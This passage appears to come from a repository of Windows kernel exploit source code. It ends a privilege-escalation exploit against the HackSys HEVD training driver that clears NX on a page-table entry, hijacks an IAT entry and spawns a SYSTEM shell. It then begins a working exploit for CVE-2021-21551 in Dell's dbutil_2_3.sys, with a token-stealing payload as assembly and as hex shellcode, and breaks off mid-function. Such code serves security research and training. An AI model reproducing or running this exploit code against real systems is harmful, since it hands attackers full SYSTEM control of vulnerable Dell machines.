shellcode QWORD 104 | PULONGLONG shellcode1Pointer = &shellcode1; 105 | PULONGLONG shellcode2Pointer = &shellcode2; 106 | PULONGLONG shellcode3Pointer = &shellcode3; 107 | PULONGLONG shellcode4Pointer = &shellcode4; 108 | PULONGLONG shellcode5Pointer = &shellcode5; 109 | PULONGLONG shellcode6Pointer = &shellcode6; 110 | PULONGLONG shellcode7Pointer = &shellcode7; 111 | PULONGLONG shellcode8Pointer = &shellcode8; 112 | PULONGLONG shellcode9Pointer = &shellcode9; 113 | 114 | // Return value of kernelbase() for HEVD.sys 115 | unsigned long long hevdBase = kernelBase("HEVD.sys"); 116 | 117 | // Return value of kernelBase for ntoskrnl.exe 118 | unsigned long long baseAddress = kernelBase("ntoskrnl.exe"); 119 | 120 | // Print update for driver and kernel base 121 | printf("[+] HEVD.sys base address is located at: 0x%llx\n", hevdBase); 122 | printf("[+] ntoskrnl.exe base address is located at: 0x%llx\n", baseAddress); 123 | 124 | // Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress 125 | unsigned long long ntmigetpteAddress = baseAddress+0x812bb; 126 | printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress); 127 | 128 | // Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder) 129 | unsigned long long placeholder = 0; 130 | PULONGLONG baseofPtes = &placeholder; 131 | 132 | // Defining buffer to send to driver 133 | char buf [0x10]; 134 | size_t oneQword = 0x8; 135 | 136 | // Initializing buffer to junk to satisfy type error of memset 137 | memset(buf, 0x41, 0x10); 138 | 139 | // Actual buffer for extracting the PTE base 140 | memcpy(buf, &ntmigetpteAddress, oneQword); 141 | memcpy(&buf[0x8], &baseofPtes, oneQword); 142 | 143 | // Obtaining handle to the driver 144 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n"); 145 | HANDLE drvHandle = CreateFileA( 146 | "\\\\.\\HackSysExtremeVulnerableDriver", 147 | 0xC0000000, 148 | 0x0, 149 | NULL, 150 | 0x3, 151 | 0x0, 152 | NULL 153 | ); 154 | 155 | // Error handling 156 | if (!drvHandle) 157 | { 158 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError()); 159 | exit(1); 160 | } 161 | 162 | // Print update for HANDLE 163 | printf("[+] Handle to the driver: %d\n", drvHandle); 164 | 165 | // Sending buffer to the driver 166 | 167 | // Defining lpBytesReturned parameter 168 | DWORD lpBytesReturned; 169 | DeviceIoControl( 170 | drvHandle, 171 | IOCTL_CODE, 172 | buf, 173 | sizeof(buf), 174 | NULL, 175 | 0, 176 | &lpBytesReturned, 177 | NULL 178 | ); 179 | 180 | // Print update for extracting base of the PTEs 181 | printf("[+] Extracting the base of the PTEs...\n"); 182 | 183 | // Defining variable to place base of PTEs 184 | unsigned long long pteBase = (unsigned long long)*baseofPtes; 185 | 186 | // Print update for base of the PTEs 187 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase); 188 | 189 | // Bitwise operations to locate PTE of shellcode page 190 | unsigned long long kusershareddataPte = (unsigned long long)KUSER_SHARED_DATA >> 9; 191 | kusershareddataPte = kusershareddataPte & 0x7FFFFFFFF8; 192 | kusershareddataPte = kusershareddataPte + pteBase; 193 | 194 | // Print update for shellcode's PTE page 195 | printf("[+] KUSER_SHARED_DATA+0x800 PTE is located at: 0x%llx\n", kusershareddataPte); 196 | 197 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder) 198 | placeholder = 0; 199 | PULONGLONG ptecontrolbitsPointer = &placeholder; 200 | 201 | // Defining buffer to send to driver 202 | char buf1 [0x10]; 203 | 204 | // Initializing buffer to junk to satisfy type error of memset 205 | memset(buf1, 0x41, 0x10); 206 | 207 | // Actual buffer for extracting PTE control bits 208 | memcpy(buf1, &kusershareddataPte, oneQword); 209 | memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword); 210 | 211 | // Sending buffer to the driver 212 | DeviceIoControl( 213 | drvHandle, 214 | IOCTL_CODE, 215 | buf1, 216 | sizeof(buf1), 217 | NULL, 218 | 0, 219 | &lpBytesReturned, 220 | NULL 221 | ); 222 | 223 | unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer; 224 | 225 | // Print update for PTE control bits 226 | printf("[+] PTE control bits for KUSER_SHARED_DATA+0x800: %p\n", ptecontrolBits); 227 | 228 | // Corrupting X bit in PTE to make KUSER_SHARED_DATA executable 229 | unsigned long long taintedPte; 230 | taintedPte = ptecontrolBits & 0x0FFFFFFFFFFFFFFF; 231 | 232 | // Defining pointer for corrupted PTE bits 233 | PULONGLONG taintedptePointer = &taintedPte; 234 | 235 | // Defining buffer to send to driver 236 | char buf2[0x10]; 237 | 238 | // Initializing buffer to junk to satisfy type error of memset 239 | memset(buf2, 0x41, 0x10); 240 | 241 | // Actual buffer for corrupting PTE 242 | memcpy(buf2, &taintedptePointer, oneQword); 243 | memcpy(&buf2[0x8], &kusershareddataPte, oneQword); 244 | 245 | // Print update for corrupting PTE 246 | printf("[+] Corrupting PTE of KUSER_SHARED_DATA+0x800 to clear NX bit...\n"); 247 | 248 | // Sending buffer to the driver 249 | DeviceIoControl( 250 | drvHandle, 251 | IOCTL_CODE, 252 | buf2, 253 | sizeof(buf2), 254 | NULL, 255 | 0, 256 | &lpBytesReturned, 257 | NULL 258 | ); 259 | 260 | // Print update for corrupted PTE 261 | printf("[+] KUSER_SHARED_DATA+0x800 is now kRWX! Sorry, SMEP and kernel mode NX!\n"); 262 | 263 | // Defining buffer to send to driver 264 | char buf3 [0x10]; 265 | 266 | // Initializing buffer to junk to satisfy type error of memset 267 | memset(buf3, 0x41, 0x10); 268 | 269 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x800 270 | memcpy(buf3, &shellcode1Pointer, oneQword); 271 | memcpy(&buf3[0x8], &KUSER_SHARED_DATA, oneQword); 272 | 273 | // Print update for KUSER_SHARED_DATA+0x800 overwrite 274 | printf("[+] Overwriting KUSER_SHARED_DATA+0x800 with shellcode...\n"); 275 | 276 | // Sending buffer to the driver 277 | DeviceIoControl( 278 | drvHandle, 279 | IOCTL_CODE, 280 | buf3, 281 | sizeof(buf3), 282 | NULL, 283 | 0, 284 | &lpBytesReturned, 285 | NULL 286 | ); 287 | 288 | // Defining buffer to send to driver 289 | char buf4 [0x10]; 290 | 291 | // Initializing buffer to junk to satisfy type error of memset 292 | memset(buf4, 0x41, 0x10); 293 | 294 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x808 295 | memcpy(buf4, &shellcode2Pointer, oneQword); 296 | memcpy(&buf4[0x8], &KUSER_SHARED_DATA_8, oneQword); 297 | 298 | // Sending buffer to the driver 299 | DeviceIoControl( 300 | drvHandle, 301 | IOCTL_CODE, 302 | buf4, 303 | sizeof(buf4), 304 | NULL, 305 | 0, 306 | &lpBytesReturned, 307 | NULL 308 | ); 309 | 310 | // Defining buffer to send to driver 311 | char buf5 [0x10]; 312 | 313 | // Initializing buffer to junk to satisfy type error of memset 314 | memset(buf5, 0x41, 0x10); 315 | 316 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x810 317 | memcpy(buf5, &shellcode3Pointer, oneQword); 318 | memcpy(&buf5[0x8], &KUSER_SHARED_DATA_10, oneQword); 319 | 320 | // Sending buffer to the driver 321 | DeviceIoControl( 322 | drvHandle, 323 | IOCTL_CODE, 324 | buf5, 325 | sizeof(buf5), 326 | NULL, 327 | 0, 328 | &lpBytesReturned, 329 | NULL 330 | ); 331 | 332 | // Defining buffer to send to driver 333 | char buf6 [0x10]; 334 | 335 | // Initializing buffer to junk to satisfy type error of memset 336 | memset(buf6, 0x41, 0x10); 337 | 338 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x818 339 | memcpy(buf6, &shellcode4Pointer, oneQword); 340 | memcpy(&buf6[0x8], &KUSER_SHARED_DATA_18, oneQword); 341 | 342 | // Sending buffer to the driver 343 | DeviceIoControl( 344 | drvHandle, 345 | IOCTL_CODE, 346 | buf6, 347 | sizeof(buf6), 348 | NULL, 349 | 0, 350 | &lpBytesReturned, 351 | NULL 352 | ); 353 | 354 | // Defining buffer to send to driver 355 | char buf7 [0x10]; 356 | 357 | // Initializing buffer to junk to satisfy type error of memset 358 | memset(buf7, 0x41, 0x10); 359 | 360 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x820 361 | memcpy(buf7, &shellcode5Pointer, oneQword); 362 | memcpy(&buf7[0x8], &KUSER_SHARED_DATA_20, oneQword); 363 | 364 | // Sending buffer to the driver 365 | DeviceIoControl( 366 | drvHandle, 367 | IOCTL_CODE, 368 | buf7, 369 | sizeof(buf7), 370 | NULL, 371 | 0, 372 | &lpBytesReturned, 373 | NULL 374 | ); 375 | 376 | // Defining buffer to send to driver 377 | char buf8 [0x10]; 378 | 379 | // Initializing buffer to junk to satisfy type error of memset 380 | memset(buf8, 0x41, 0x10); 381 | 382 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x828 383 | memcpy(buf8, &shellcode6Pointer, oneQword); 384 | memcpy(&buf8[0x8], &KUSER_SHARED_DATA_28, oneQword); 385 | 386 | // Sending buffer to the driver 387 | DeviceIoControl( 388 | drvHandle, 389 | IOCTL_CODE, 390 | buf8, 391 | sizeof(buf8), 392 | NULL, 393 | 0, 394 | &lpBytesReturned, 395 | NULL 396 | ); 397 | 398 | // Defining buffer to send to driver 399 | char buf9 [0x10]; 400 | 401 | // Initializing buffer to junk to satisfy type error of memset 402 | memset(buf9, 0x41, 0x10); 403 | 404 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x830 405 | memcpy(buf9, &shellcode7Pointer, oneQword); 406 | memcpy(&buf9[0x8], &KUSER_SHARED_DATA_30, oneQword); 407 | 408 | // Sending buffer to the driver 409 | DeviceIoControl( 410 | drvHandle, 411 | IOCTL_CODE, 412 | buf9, 413 | sizeof(buf9), 414 | NULL, 415 | 0, 416 | &lpBytesReturned, 417 | NULL 418 | ); 419 | 420 | // Defining buffer to send to driver 421 | char buf10 [0x10]; 422 | 423 | // Initializing buffer to junk to satisfy type error of memset 424 | memset(buf10, 0x41, 0x10); 425 | 426 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x838 427 | memcpy(buf10, &shellcode8Pointer, oneQword); 428 | memcpy(&buf10[0x8], &KUSER_SHARED_DATA_38, oneQword); 429 | 430 | // Sending buffer to the driver 431 | DeviceIoControl( 432 | drvHandle, 433 | IOCTL_CODE, 434 | buf10, 435 | sizeof(buf10), 436 | NULL, 437 | 0, 438 | &lpBytesReturned, 439 | NULL 440 | ); 441 | 442 | // Defining buffer to send to driver 443 | char buf11 [0x10]; 444 | 445 | // Initializing buffer to junk to satisfy type error of memset 446 | memset(buf11, 0x41, 0x10); 447 | 448 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x840 449 | memcpy(buf11, &shellcode9Pointer, oneQword); 450 | memcpy(&buf11[0x8], &KUSER_SHARED_DATA_40, oneQword); 451 | 452 | // Sending buffer to the driver 453 | DeviceIoControl( 454 | drvHandle, 455 | IOCTL_CODE, 456 | buf11, 457 | sizeof(buf11), 458 | NULL, 459 | 0, 460 | &lpBytesReturned, 461 | NULL 462 | ); 463 | 464 | // IAT entries are not checked by kCFG 465 | // HEVD+0x2010 is an IAT entry that points to nt!ExAllocatePoolWithTag 466 | // Making the IAT entry writeable 467 | unsigned long long hevdIat = hevdBase + 0x2010; 468 | unsigned long long hevdiatPte = hevdIat >> 9; 469 | hevdiatPte = hevdiatPte & 0x7FFFFFFFF8; 470 | hevdiatPte = hevdiatPte + pteBase; 471 | 472 | // Print update for location of IAT entry 473 | printf("[+] IAT entry located at: 0x%llx\n", hevdiatPte); 474 | 475 | // Defining pointer to write PTE to 476 | placeholder = 0; 477 | PULONGLONG iatptePointer = &placeholder; 478 | 479 | // Defining buffer to send to driver 480 | char buf12 [0x12]; 481 | 482 | // Initializing buffer to junk to satisfy type error of memset 483 | memset(buf12, 0x41, 0x10); 484 | 485 | // Actual buffer for extracting PTE of IAT entry 486 | memcpy(buf12, &hevdiatPte, oneQword); 487 | memcpy(&buf12[0x8], &iatptePointer, oneQword); 488 | 489 | // Sending buffer to the driver 490 | DeviceIoControl( 491 | drvHandle, 492 | IOCTL_CODE, 493 | buf12, 494 | sizeof(buf12), 495 | NULL, 496 | 0, 497 | &lpBytesReturned, 498 | NULL 499 | ); 500 | 501 | // Defining variable to place IAT PTE 502 | unsigned long long iatPte = (unsigned long long)*iatptePointer; 503 | 504 | // Print update for IAT PTE control bits 505 | printf("[+] IAT PTE control bits: 0x%p\n", iatPte); 506 | 507 | // Making IAT writeable/executable 508 | unsigned long long taintediatPte; 509 | taintediatPte = iatPte & 0x0FFFFFFFFFFFFFFF; 510 | taintediatPte = iatPte + 2; 511 | 512 | // Defining pointer for corrupted IAT PTE bits 513 | PULONGLONG taintedpteiatPointer = &taintediatPte; 514 | 515 | // Defining buffer to send to driver 516 | char buf13[0x10]; 517 | 518 | // Initializing buffer to junk to satisfy type error of memset 519 | memset(buf13, 0x41, 0x10); 520 | 521 | // Actual buffer for corrupting IAT PTE control bits 522 | memcpy(buf13, &taintedpteiatPointer, oneQword); 523 | memcpy(&buf13[0x8], &hevdiatPte, oneQword); 524 | 525 | // Sending buffer to the driver 526 | DeviceIoControl( 527 | drvHandle, 528 | IOCTL_CODE, 529 | buf13, 530 | sizeof(buf13), 531 | NULL, 532 | 0, 533 | &lpBytesReturned, 534 | NULL 535 | ); 536 | 537 | // Print update for corrupting IAT PTE 538 | printf("[+] Corrupted IAT entry! IAT entry pointing to nt!ExAllocatePoolWithTag is now kRWX!\n"); 539 | 540 | // Defining pointer for KUSER_SHARED_DATA 541 | PULONGLONG KUSER_SHARED_DATA_POINTER = &KUSER_SHARED_DATA; 542 | 543 | // Defining buffer to send to driver 544 | char buf14[0x10]; 545 | 546 | // Initializing buffer to junk to satisfy type error of memset 547 | memset(buf14, 0x41, 0x10); 548 | 549 | // Actual buffer for overwriting IAT entry with KUSER_SHARED_DATA 550 | memcpy(buf14, &KUSER_SHARED_DATA_POINTER, oneQword); 551 | memcpy(&buf14[0x8], &hevdIat, oneQword); 552 | 553 | // Sending buffer to the driver 554 | DeviceIoControl( 555 | drvHandle, 556 | IOCTL_CODE, 557 | buf14, 558 | sizeof(buf14), 559 | NULL, 560 | 0, 561 | &lpBytesReturned, 562 | NULL 563 | ); 564 | 565 | // Defining dummy buffer to satisfy DeviceIoControl() for invoking IOCTL that calls corrupted IAT 566 | char dummyBuffer [0x8]; 567 | memset(dummyBuffer, 0x90, 0x8); 568 | 569 | // Print update for invoking IOCTL 570 | printf("[+] Invoking IOCTL to trigger corrupted IAT entry! Sorry, kCFG!\n"); 571 | 572 | // Invoking IOCTL to call IAT 573 | DeviceIoControl( 574 | drvHandle, 575 | 0x00222013, 576 | dummyBuffer, 577 | sizeof(dummyBuffer), 578 | NULL, 579 | 0, 580 | &lpBytesReturned, 581 | NULL 582 | ); 583 | 584 | // Print update for overwriting IAT entry 585 | printf("[+] Successfully overwrote IAT entry with address of KUSER_SHARED_DATA+0x800!\n"); 586 | 587 | // Print update for NT AUTHORITY\SYSTEM shell 588 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 589 | 590 | // Spawning an NT AUTHORITY\SYSTEM shell 591 | system("cmd.exe /c cmd.exe /K cd C:\\"); 592 | } 593 | 594 | int main() 595 | { 596 | exploitWork(); 597 | 598 | return 0; 599 | } 600 | -------------------------------------------------------------------------------- /CVE-2021-21551/CVE-2021-21551.c: -------------------------------------------------------------------------------- 1 | // CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption 2 | // Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/ 3 | // Author: Connor McGarr (@33y0re) 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | // Vulnerable IOCTL 10 | #define IOCTL_WRITE_CODE 0x9B0C1EC8 11 | #define IOCTL_READ_CODE 0x9B0C1EC4 12 | 13 | // Prepping call to nt!NtQueryIntervalProfile 14 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); 15 | 16 | // Obtain the kernel base and driver base 17 | unsigned long long kernelBase(char name[]) 18 | { 19 | // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters 20 | LPVOID lpImageBase[1024]; 21 | DWORD lpcbNeeded; 22 | int drivers; 23 | char lpFileName[1024]; 24 | unsigned long long imageBase; 25 | 26 | BOOL baseofDrivers = EnumDeviceDrivers( 27 | lpImageBase, 28 | sizeof(lpImageBase), 29 | &lpcbNeeded 30 | ); 31 | 32 | // Error handling 33 | if (!baseofDrivers) 34 | { 35 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 36 | exit(1); 37 | } 38 | 39 | // Defining number of drivers for GetDeviceDriverBaseNameA() 40 | drivers = lpcbNeeded / sizeof(lpImageBase[0]); 41 | 42 | // Parsing loaded drivers 43 | for (int i = 0; i < drivers; i++) 44 | { 45 | GetDeviceDriverBaseNameA( 46 | lpImageBase[i], 47 | lpFileName, 48 | sizeof(lpFileName) / sizeof(char) 49 | ); 50 | 51 | // Keep looping, until found, to find user supplied driver base address 52 | if (!strcmp(name, lpFileName)) 53 | { 54 | imageBase = (unsigned long long)lpImageBase[i]; 55 | 56 | // Exit loop 57 | break; 58 | } 59 | } 60 | 61 | return imageBase; 62 | } 63 | 64 | 65 | void exploitWork(void) 66 | { 67 | // Store the base of the kernel 68 | unsigned long long baseofKernel = kernelBase("ntoskrnl.exe"); 69 | 70 | // Storing the base of the driver 71 | unsigned long long driverBase = kernelBase("dbutil_2_3.sys"); 72 | 73 | // Print updates 74 | printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", baseofKernel); 75 | printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n", driverBase); 76 | 77 | // Store nt!MiGetPteAddress+0x13 78 | unsigned long long ntmigetpteAddress = baseofKernel + 0xbafbb; 79 | 80 | // Obtain a handle to the driver 81 | HANDLE driverHandle = CreateFileA( 82 | "\\\\.\\DBUtil_2_3", 83 | FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, 84 | 0x0, 85 | NULL, 86 | OPEN_EXISTING, 87 | 0x0, 88 | NULL 89 | ); 90 | 91 | // Error handling 92 | if (driverHandle == INVALID_HANDLE_VALUE) 93 | { 94 | printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError()); 95 | exit(-1); 96 | } 97 | else 98 | { 99 | printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n", (unsigned long long)driverHandle); 100 | 101 | // Buffer to send to the driver (read primitive) 102 | unsigned long long inBuf1[4]; 103 | 104 | // Values to send 105 | unsigned long long one1 = 0x4141414141414141; 106 | unsigned long long two1 = ntmigetpteAddress; 107 | unsigned long long three1 = 0x0000000000000000; 108 | unsigned long long four1 = 0x0000000000000000; 109 | 110 | // Assign the values 111 | inBuf1[0] = one1; 112 | inBuf1[1] = two1; 113 | inBuf1[2] = three1; 114 | inBuf1[3] = four1; 115 | 116 | // Interact with the driver 117 | DWORD bytesReturned1 = 0; 118 | 119 | BOOL interact = DeviceIoControl( 120 | driverHandle, 121 | IOCTL_READ_CODE, 122 | &inBuf1, 123 | sizeof(inBuf1), 124 | &inBuf1, 125 | sizeof(inBuf1), 126 | &bytesReturned1, 127 | NULL 128 | ); 129 | 130 | // Error handling 131 | if (!interact) 132 | { 133 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 134 | exit(-1); 135 | } 136 | else 137 | { 138 | // Last member of read array should contain base of the PTEs 139 | unsigned long long pteBase = inBuf1[3]; 140 | 141 | printf("[+] Base of the PTEs: 0x%llx\n", pteBase); 142 | 143 | // .data section of dbutil_2_3.sys contains a code cave 144 | unsigned long long shellcodeLocation = driverBase + 0x3010; 145 | 146 | // Bitwise operations to locate PTE of shellcode page 147 | unsigned long long shellcodePte = (unsigned long long)shellcodeLocation >> 9; 148 | shellcodePte = shellcodePte & 0x7FFFFFFFF8; 149 | shellcodePte = shellcodePte + pteBase; 150 | 151 | // Print update 152 | printf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n", shellcodePte); 153 | 154 | // Buffer to send to the driver (read primitive) 155 | unsigned long long inBuf2[4]; 156 | 157 | // Values to send 158 | unsigned long long one2 = 0x4141414141414141; 159 | unsigned long long two2 = shellcodePte; 160 | unsigned long long three2 = 0x0000000000000000; 161 | unsigned long long four2 = 0x0000000000000000; 162 | 163 | inBuf2[0] = one2; 164 | inBuf2[1] = two2; 165 | inBuf2[2] = three2; 166 | inBuf2[3] = four2; 167 | 168 | // Parameter for DeviceIoControl 169 | DWORD bytesReturned2 = 0; 170 | 171 | BOOL interact1 = DeviceIoControl( 172 | driverHandle, 173 | IOCTL_READ_CODE, 174 | &inBuf2, 175 | sizeof(inBuf2), 176 | &inBuf2, 177 | sizeof(inBuf2), 178 | &bytesReturned2, 179 | NULL 180 | ); 181 | 182 | // Error handling 183 | if (!interact1) 184 | { 185 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 186 | exit(-1); 187 | } 188 | else 189 | { 190 | // Last member of read array should contain PTE bits 191 | unsigned long long pteBits = inBuf2[3]; 192 | 193 | printf("[+] PTE bits for the shellcode page: %p\n", pteBits); 194 | 195 | /* 196 | ; Windows 10 1903 x64 Token Stealing Payload 197 | ; Author Connor McGarr 198 | 199 | [BITS 64] 200 | 201 | _start: 202 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 203 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 204 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 205 | __loop: 206 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks 207 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS) 208 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID) 209 | cmp rcx, 4 ; Compare PID to SYSTEM PID 210 | jnz __loop ; Loop until SYSTEM PID is found 211 | 212 | mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x360 213 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 214 | mov [rax + 0x360], rcx ; Copy SYSTEM token to current process 215 | 216 | xor rax, rax ; set NTSTATUS STATUS_SUCCESS 217 | ret ; Done! 218 | 219 | */ 220 | 221 | // One QWORD arbitrary write 222 | // Shellcode is 67 bytes (67/8 = 9 unsigned long longs) 223 | unsigned long long shellcode1 = 0x00018825048B4865; 224 | unsigned long long shellcode2 = 0x000000B8808B4800; 225 | unsigned long long shellcode3 = 0x02F09B8B48C38948; 226 | unsigned long long shellcode4 = 0x0002F0EB81480000; 227 | unsigned long long shellcode5 = 0x000002E88B8B4800; 228 | unsigned long long shellcode6 = 0x8B48E57504F98348; 229 | unsigned long long shellcode7 = 0xF0E180000003608B; 230 | unsigned long long shellcode8 = 0x4800000360888948; 231 | unsigned long long shellcode9 = 0x0000000000C3C031; 232 | 233 | // Buffers to send to the driver (write primitive) 234 | unsigned long long inBuf3[4]; 235 | unsigned long long inBuf4[4]; 236 | unsigned long long inBuf5[4]; 237 | unsigned long long inBuf6[4]; 238 | unsigned long long inBuf7[4]; 239 | unsigned long long inBuf8[4]; 240 | unsigned long long inBuf9[4]; 241 | unsigned long long inBuf10[4]; 242 | unsigned long long inBuf11[4]; 243 | 244 | // Values to send 245 | unsigned long long one3 = 0x4141414141414141; 246 | unsigned long long two3 = shellcodeLocation; 247 | unsigned long long three3 = 0x0000000000000000; 248 | unsigned long long four3 = shellcode1; 249 | 250 | unsigned long long one4 = 0x4141414141414141; 251 | unsigned long long two4 = shellcodeLocation + 0x8; 252 | unsigned long long three4 = 0x0000000000000000; 253 | unsigned long long four4 = shellcode2; 254 | 255 | unsigned long long one5 = 0x4141414141414141; 256 | unsigned long long two5 = shellcodeLocation + 0x10; 257 | unsigned long long three5 = 0x0000000000000000; 258 | unsigned long long four5 = shellcode3; 259 | 260 | unsigned long long one6 = 0x4141414141414141; 261 | unsigned long long two6 = shellcodeLocation + 0x18; 262 | unsigned long long three6 = 0x0000000000000000; 263 | unsigned long long four6 = shellcode4; 264 | 265 | unsigned long long one7 = 0x4141414141414141; 266 | unsigned long long two7 = shellcodeLocation + 0x20; 267 | unsigned long long three7 = 0x0000000000000000; 268 | unsigned long long four7 = shellcode5; 269 | 270 | unsigned long long one8 = 0x4141414141414141; 271 | unsigned long long two8 = shellcodeLocation + 0x28; 272 | unsigned long long three8 = 0x0000000000000000; 273 | unsigned long long four8 = shellcode6; 274 | 275 | unsigned long long one9 = 0x4141414141414141; 276 | unsigned long long two9 = shellcodeLocation + 0x30; 277 | unsigned long long three9 = 0x0000000000000000; 278 | unsigned long long four9 = shellcode7; 279 | 280 | unsigned long long one10 = 0x4141414141414141; 281 | unsigned long long two10 = shellcodeLocation + 0x38; 282 | unsigned long long three10 = 0x0000000000000000; 283 | unsigned long long four10 = shellcode8; 284 | 285 | unsigned long long one11 = 0x4141414141414141; 286 | unsigned long long two11 = shellcodeLocation + 0x40; 287 | unsigned long long three11 = 0x0000000000000000; 288 | unsigned long long four11 = shellcode9; 289 | 290 | inBuf3[0] = one3; 291 | inBuf3[1] = two3; 292 | inBuf3[2] = three3; 293 | inBuf3[3] = four3; 294 | 295 | inBuf4[0] = one4; 296 | inBuf4[1] = two4; 297 | inBuf4[2] = three4; 298 | inBuf4[3] = four4; 299 | 300 | inBuf5[0] = one5; 301 | inBuf5[1] = two5; 302 | inBuf5[2] = three5; 303 | inBuf5[3] = four5; 304 | 305 | inBuf6[0] = one6; 306 | inBuf6[1] = two6; 307 | inBuf6[2] = three6; 308 | inBuf6[3] = four6; 309 | 310 | inBuf7[0] = one7; 311 | inBuf7[1] = two7; 312 | inBuf7[2] = three7; 313 | inBuf7[3] = four7; 314 | 315 | inBuf8[0] = one8; 316 | inBuf8[1] = two8; 317 | inBuf8[2] = three8; 318 | inBuf8[3] = four8; 319 | 320 | inBuf9[0] = one9; 321 | inBuf9[1] = two9; 322 | inBuf9[2] = three9; 323 | inBuf9[3] = four9; 324 | 325 | inBuf10[0] = one10; 326 | inBuf10[1] = two10; 327 | inBuf10[2] = three10; 328 | inBuf10[3] = four10; 329 | 330 | inBuf11[0] = one11; 331 | inBuf11[1] = two11; 332 | inBuf11[2] = three11; 333 | inBuf11[3] = four11; 334 | 335 | DWORD bytesReturned3 = 0; 336 | DWORD bytesReturned4 = 0; 337 | DWORD bytesReturned5 = 0; 338 | DWORD bytesReturned6 = 0; 339 | DWORD bytesReturned7 = 0; 340 | DWORD bytesReturned8 = 0; 341 | DWORD bytesReturned9 = 0; 342 | DWORD bytesReturned10 = 0; 343 | DWORD bytesReturned11 = 0; 344 | 345 | BOOL interact2 = DeviceIoControl( 346 | driverHandle, 347 | IOCTL_WRITE_CODE, 348 | &inBuf3, 349 | sizeof(inBuf3), 350 | &inBuf3, 351 | sizeof(inBuf3), 352 | &bytesReturned3, 353 | NULL 354 | ); 355 | 356 | BOOL interact3 = DeviceIoControl( 357 | driverHandle, 358 | IOCTL_WRITE_CODE, 359 | &inBuf4, 360 | sizeof(inBuf4), 361 | &inBuf4, 362 | sizeof(inBuf4), 363 | &bytesReturned4, 364 | NULL 365 | ); 366 | 367 | BOOL interact4 = DeviceIoControl( 368 | driverHandle, 369 | IOCTL_WRITE_CODE, 370 | &inBuf5, 371 | sizeof(inBuf5), 372 | &inBuf5, 373 | sizeof(inBuf5), 374 | &bytesReturned5, 375 | NULL 376 | ); 377 | 378 | BOOL interact5 = DeviceIoControl( 379 | driverHandle, 380 | IOCTL_WRITE_CODE, 381 | &inBuf6, 382 | sizeof(inBuf6), 383 | &inBuf6, 384 | sizeof(inBuf6), 385 | &bytesReturned6, 386 | NULL 387 | ); 388 | 389 | BOOL interact6 = DeviceIoControl( 390 | driverHandle, 391 | IOCTL_WRITE_CODE, 392 | &inBuf7, 393 | sizeof(inBuf7), 394 | &inBuf7, 395 | sizeof(inBuf7), 396 | &bytesReturned7, 397 | NULL 398 | ); 399 | 400 | BOOL interact7 = DeviceIoControl( 401 | driverHandle, 402 | IOCTL_WRITE_CODE, 403 | &inBuf8, 404 | sizeof(inBuf8), 405 | &inBuf8, 406 | sizeof(inBuf8), 407 | &bytesReturned8, 408 | NULL 409 | ); 410 | 411 | BOOL interact8 = DeviceIoControl( 412 | driverHandle, 413 | IOCTL_WRITE_CODE, 414 | &inBuf9, 415 | sizeof(inBuf9), 416 | &inBuf9, 417 | sizeof(inBuf9), 418 | &bytesReturned9, 419 | NULL 420 | ); 421 | 422 | BOOL interact9 = DeviceIoControl( 423 | driverHandle, 424 | IOCTL_WRITE_CODE, 425 | &inBuf10, 426 | sizeof(inBuf10), 427 | &inBuf10, 428 | sizeof(inBuf10), 429 | &bytesReturned10, 430 | NULL 431 | ); 432 | 433 | BOOL interact10 = DeviceIoControl( 434 | driverHandle, 435 | IOCTL_WRITE_CODE, 436 | &inBuf11, 437 | sizeof(inBuf11), 438 | &inBuf11, 439 | sizeof(inBuf11), 440 | &bytesReturned11, 441 | NULL 442 | ); 443 | 444 | // A lot of error handling 445 | if (!interact2 || !interact3 || !interact4 || !interact5 || !interact6 || !interact7 || !interact8 || !interact9 || !interact10) 446 | { 447 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError()); 448 | exit(-1); 449 | } 450 | else 451 | { 452 | printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n", shellcodeLocation); 453 | 454 | // Clear the no-eXecute bit 455 